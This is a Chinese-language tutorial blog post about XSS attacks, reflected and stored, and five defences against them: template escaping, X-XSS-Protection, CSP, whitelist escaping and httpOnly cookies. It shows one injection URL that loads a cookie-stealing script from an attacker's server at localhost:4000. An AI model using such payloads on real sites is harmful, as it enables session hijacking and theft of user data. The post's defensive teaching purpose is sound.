zoukankan      html  css  js  c++  java
  • 01-XSS攻击及防御手段

    • XSS
    • CSRF
    • 点击劫持
    • SQL注入
    • OS注入
    • 请求劫持
    • DDOS

    https://cloud.tencent.com/developer/article/1621427

    1、XSS :跨站脚本攻击   同JSONP道理一样,JSONP既然能通过script标签跨域拿别人的,那么同样人家也可以利用script标签实现跨域给你的网站注入JS脚本。
    因为缩写和 CSS重叠,所以只能叫 XSS。跨站脚本攻击是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的非本站的HTML标签或JavaScript进行的一种攻击。
    什么意思呢?就是正常情况下,我们自己的网站运行自己的HTML和JS文件,但是XSS攻击就是在你的网站上运行外来的HTML和JS。运行了不就可以攻击了么。
    反射性攻击:url参数直接注入

     

     

    比如:后端是用模板引擎渲染,写了个接口,返回了一个from的字段数据

     前台页面中去绑定了:

    然后用户访问根路径:拼上from = 一个script标签中弹出一个1, 敲回车,真的会弹出一个1。

    这就是安全隐患,人家都可以在你的网站上运行自己写的JS文件了,当然是安全隐患,比如人家script src引入了一个JS文件,这个JS文件去当做你自己网站的JS。这个引入的JS是获取cookie信息的。那么人家引入后,就可以轻易的拿到你的cookie,那么就相当于拿到了你的登录态了,就可以当成是你了。那么还会造成如下影响:

    1. 利用虚假输入表单骗取用户个人信息。如:他里面给你引入一段JS,这个JS能渲染出来一个弹出框(appendchild),然后让你输入你的个人信息。
    2. 就是通过外引的脚本窃取用户的cookie,在被害者不知情的情况下,帮助攻击发送恶意请求
    3. 显示伪造的文章或者图片,诱导用户。

    具体看一下黑客是如何窃取cookie的:

    1.找漏洞:首先如上面的,发现在url输入框中,可以执行script。

    2.引入自己的获取cookie的JS文件(用户访问的网站是localhost:3000,黑客的网站服务器是localhost:4000)

    http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"></script>
    我们看一下黑客的这个JS文件里面是什么?

    黑客的主服务js:拦截监听所有请求,打印出上面img标签的src,这就知道为什么上面用src了吧,就是能发送个请求。这里就是为了能直观的看到输入出来的结果。

    多数情况下,会给自己的邮箱发送一封邮件(里面是窃取到的cookie)。

    存储型:如下面的直接在input框中注入了js代码,弹出了1。

    这个比 反射型更高级,无需把这个代码发布到其他的位置,直接注入到了这个网站的数据库中(因为添加进了input,input中的值会存储到数据库中)那么这个js代码就已经融在了这个网站中,每次一刷新这个网站,就会一直弹出alert(1)。这就叫攻击。


    下面说一下防范手段:

    1.第一道防线:

    ejs模板渲染的时候进行转译:

    上面那种之所以能运行js代码,是因为设置为了-,就是不做任何处理,那么势必会运行script中的代码,所以写成=,就会把scipt代码当成html,那么自然就执行不了js

    那么一长串,有稍微懂点的人一看url里面有script标签,可能会引起警惕性,这时候黑客可以把他的这个url变更为短网址伪装一下,这样就不被人怀疑了,别人以为这就是一个正常的网站。

     场景是这样的:

    比如用户A现在正在访问一个网站,并且没有退出登录,这时候你的cookie就存储在浏览器,那么这时候你去别的网站,看到别的网站上有个诱导性的图片或者文字或者网站地址(伪造好的短网址),你点了进去,殊不知这个图片的src地址就是黑客的JS脚本,那么这个脚本就会能拿到你本地的cookie,或者直接跳到一个跟原来你访问网站一毛一样的网站,他上面也有支付什么的,那么就会被骗了,当然黑客拿到你的登录态就可以窃取你的信息了。


     2.第二道防线

    浏览器自行设置的X-XSS-Protection

    这个东西现在高级的浏览器都会自行进行设置。这里后端设置为0,是为了先关掉浏览器设置的这个,为了自己测试用

    3.第三道防线:

    CSP规则:网络安全策略

    CSP本质上就是建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则,如何拦截是由浏览器自己实现的,可以通过这种方式减少XSS的攻击。

    第四条防线:

     自己设置规则进行转译:

     返回数据的时候:被转译方法包裹一下

     有一种富文本编辑功能对于这种转译是不行的,因为富文本里面也可以输入代码,怎么解决?

    我们可以分黑明白和白名单转译:

    黑名单转译错杀的太多了

    我们用白名单转译:把合法的正常编译,不合法的就是个字符串不会执行、

     

     执行结果:照样渲染了h1标签,script标签原封不动并未执行。

     第五道防线

     设置cookie的 httpOnly:true,这个意思就是这个cookie只能由我服务端操作,只能是我服务器用的。

    可以看到cookie中:HTTP加了个对号

    这样前端再次获取cookie,是得到一个空,就是客户端已经拿不到,用不了了。

     
  • 相关阅读:
    elasticsearch 中的Multi Match Query
    activiti 流程部署的各种方式
    elasticsearch 嵌套对象之嵌套类型
    elasticsearch Java High Level REST 相关操作封装
    elasticsearch 字段数据类型
    ubuntu 安装 docker
    elasticsearch 通过HTTP RESTful API 操作数据
    facenet 人脸识别(二)——创建人脸库搭建人脸识别系统
    POJ 3093 Margaritas(Kind of wine) on the River Walk (背包方案统计)
    墨卡托投影, GPS 坐标转像素, GPS 坐标转距离
  • 原文地址:https://www.cnblogs.com/haoqiyouyu/p/14614542.html
Copyright © 2011-2022 走看看